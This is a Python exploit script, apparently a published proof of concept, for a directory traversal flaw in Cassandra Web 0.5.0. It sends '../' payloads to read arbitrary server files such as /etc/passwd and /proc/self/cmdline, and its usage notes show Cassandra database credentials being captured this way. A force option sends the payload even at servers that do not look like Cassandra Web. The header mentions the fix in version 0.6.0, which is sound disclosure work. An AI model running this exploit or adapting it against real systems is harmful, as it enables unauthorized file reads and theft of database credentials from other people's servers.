#!/usr/bin/python # -*- coding: UTF-8 -*- # # cassmoney.py # # Cassandra Web 0.5.0 Remote File Read Exploit # # Jeremy Brown [jbrown3264/gmail] # Dec 2020 # # Cassandra Web is vulnerable to directory traversal due to the disabled # Rack::Protection module. Apache Cassandra credentials are passed via the # CLI in order for the server to auth to it and provide the web access, so # they are also one thing that can be captured via the arbitrary file read. # # Usage # > cassmoney.py 10.0.0.5 /etc/passwd # root:x:0:0:root:/root:/bin/bash # daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin # bin:x:2:2:bin:/bin:/usr/sbin/nologin # ... # # > cassmoney.py 10.0.0.5 /proc/self/cmdline # /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd # # (these creds are for auth to the running apache cassandra database server) # # Fix # - fixed in github repo # - v0.6.0 / ruby-gems when available # (still recommended to containerize / run this in some sandbox, apparmor, etc) # import os import sys import argparse import requests import urllib.parse SIGNATURE = 'cassandra.js' # # /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public # DT = '../' DT_NUM = 8 class CassMoney(object): def __init__(self, args): self.target = args.target self.file = args.file self.port = args.port self.force = args.force self.number = args.number def run(self): target = "http://" + self.target + ':' + str(self.port) payload = urllib.parse.quote_plus(DT * self.number + self.file) try: deskpop = requests.get(target) except Exception as error: print("Error: %s" % error) return -1 if(SIGNATURE not in deskpop.text and self.force == False): print("Target doesn't look like Cassandra Web, aborting...") return -1 try: req = requests.get(target + '/' + payload) except: print("Failed to read %s (perm denied likely)" % self.file) return -1 if(SIGNATURE in req.text): print("Failed to read %s (bad path?)" % self.file) return -1 if(len(req.text) == 0): print("Server returned nothing for some reason") return 0 print("\n%s" % req.text) return 0 def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Cassandra Web Host") parser.add_argument("file", type=str, help="eg. /etc/passwd, /proc/sched_debug + /proc//cmdline") parser.add_argument("-p", "--port", type=int, default=3000, help="Cassandra Web Port") parser.add_argument("-f", "--force", default=False, action='store_true', help="Run the payload even if server isn't Cassandra Web") parser.add_argument("-n", "--number", type=int, default=DT_NUM, help="Adjust the number of dot-dot-slash") args = parser.parse_args() return args def main(): args = arg_parse() cm = CassMoney(args) result = cm.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main()